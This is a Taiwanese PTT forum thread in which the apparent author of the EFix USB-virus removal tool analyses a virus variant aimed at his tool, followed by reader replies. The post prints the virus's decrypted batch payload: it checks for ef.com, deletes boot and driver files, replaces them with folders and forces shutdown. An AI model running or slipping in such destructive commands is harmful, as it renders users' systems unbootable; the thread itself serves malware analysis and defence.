[閒聊] 有意思了...

[junorn (威廉華勒斯)]

這一次碰到的隨身碟資料夾型病毒很有意思

感謝香菇小精靈隨身碟病毒清除作者提供了一些資訊

是這樣的.

前幾天我有跟人提到就是台灣製的隨身碟病毒

這個隨身碟病毒有變種

而他這一次的變種有針對EFix而來.

這還第一次碰到....還蠻有意思的

香菇小精靈有提到該病毒會檢測系統裡面的程序

該批次代碼如下:

tasklist|findstr /c:"ef.com" && (goto :kill)

:kill
taskkill /F /IM explorer.exe
del /f /s /q /a:h %SystemDrive%\boot.ini
del /f /s /q /a:h %SystemDrive%\IO.sys
del /f /s /q /a:h %SystemDrive%\CONFIG.SYS
del /f /s /q /a:h %SystemDrive%\ntldr
del /f /s /q /a:h %SystemDrive%\AUTOEXEC.BAT
del /f /s /q /a:h %SystemDrive%\MSDOS.SYS
md %SystemDrive%\boot.ini
md %SystemDrive%\IO.sys
md %SystemDrive%\CONFIG.SYS
md %SystemDrive%\ntldr
md %SystemDrive%\AUTOEXEC.BAT
md %SystemDrive%\MSDOS.SYS
del /f /s /q "%windir%\system32\drivers\pci.sys"
md "%windir%\system32\drivers\pci.sys"
shutdown -f -s -t 0
del %0


上面的代碼我大概解釋一下
該病毒使用tasklist 這一段指令去檢查執行中的程序裡面有沒有一個叫做 ef.com的程序
有的話，就刪除上面從:kill之後的檔案並建立資料夾讓你沒辦法複製回去

然而ef.com 就是EFix使用的主運作程序....XD

所以我想之前有一位版友有碰到ntldr移失的，我看大概就是因為這樣的原因
好樣的....


我這兩天會找時間再做一些修改，看看能不能突破這惡意攻擊...
有中的人自己先小心點.


--
暮色逼近的雲朵之上，總是孤單一隻地飛著，老鷹一定很悲傷吧
在聲音也中斷的風之中，抓住天空的那對翅膀，無法休息
把心比喻成什麼吧，宛如老鷹一般的這顆心
把心比喻成什麼吧，比喻為宛如在天空飛舞般的悲傷

--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 61.216.81.78
※ 編輯: junorn          來自: 61.216.81.78         (08/23 01:22)
推 oscar60111:請問那一段bat碼是明碼嗎? 還是有加密或加殼過?
→ junorn:這一點我不清楚，不過聽香菇小精靈是說有加密.
→ junorn:而他解密之後得到的內容大致如上.
→ junorn:而該病毒作者也在該批次代碼中留下了罵他的代碼.
→ junorn:罵香菇作者的代碼
→ junorn:詳情看這篇 http://0rz.tw/vlf9o
推 aresting:辛苦J大了
推 TypeZero:J大大～又要辛苦改程式了
→ junorn:沒辦法，我當初其實就有作預防了，不過後來想應該不會有人
→ junorn:要對我這不知名的軟體做攻擊，結果竟然還真的有XD
→ junorn:也因為沒想到真的有人會作針對性攻擊所以就把預防那一段拿
→ junorn:掉了...0rz
推 oscar60111:有看到了 @@" 算是明碼 只是被塞了很多垃圾字串 0rz
→ oscar60111:J大辛苦了 <_ _>
推 TimeToDie:好精彩 好刺激...大家是不是都熱血起來了
推 nicayoung:不算不知名的軟體喔，已經是解隨身碟病毒的王牌了
→ MOMONGANAITO:要戰了嗎
→ junorn:恩...現在沒他詳細樣本沒的測,就目前已知他是抓我主程序
→ junorn:抓到之後作自爆讓系統跟著一起爆,所以目前目標是讓他抓不到
→ junorn:我主程序...亂數他就抓不到了吧XD
推 joycewanga:莫非  這就是傳說中的頂尖對決嗎
推 Yifong:好刺激! J大加油
推 VictorTom:小弟覺得, 這要針對EFix攻擊的惡意程式還有個附加作用,
→ VictorTom:會造成使用者有"使用EFix後系統會不知道原因爛掉"的錯覺
→ VictorTom:, 當然對其實安全軟體做也有類似的效用, 總之這種針對性
→ VictorTom:的攻擊來者不善, 要勞煩j大操心了; 話說, 安全軟體有一
→ VictorTom:個特性就是得讓使用者知道它還有作用(雖然惡意程式會試
→ VictorTom:者癱掉它但讓它好像還活者XD), 亂數主程序的話user要如
→ VictorTom:何知道它還有在工作呢@_@"
→ VictorTom:更正: "這樣針對", "對其他安全", 年紀大了狂typo...Orz
→ junorn:放心，亂數主程序只是在程序顯示是亂數而已，介面那些都一
→ junorn:樣，但錯覺這我就沒辦法，畢竟我在明他在暗，只能說盡量請
→ junorn:大家能夠將樣本丟上來，這樣我才有機會去作修改...
→ junorn:像這一次少說他改版已經改了有一段時間，結果還是香菇那邊
→ junorn:的人將樣本提供給他他才知道..
→ junorn:然後他貼上來之後我才知道....0rz
推 oscar60111:應該也沒想到會主動還擊吧，中毒模式或許跟以前都一樣
→ oscar60111:就差讓人有Efix故障錯覺而已，小弟的看法和V大相同 @@"
→ junorn:所以才說我在明他在暗我沒辦法冏> .. 唯一能作的就是盡量
→ junorn:能拿到他變種的版本盡早作修改. 這一次我修改過了他現在用
→ junorn:的手法會失效，但不知道他會換甚麼樣子的手法...
推 VCCS:J大紅了 XD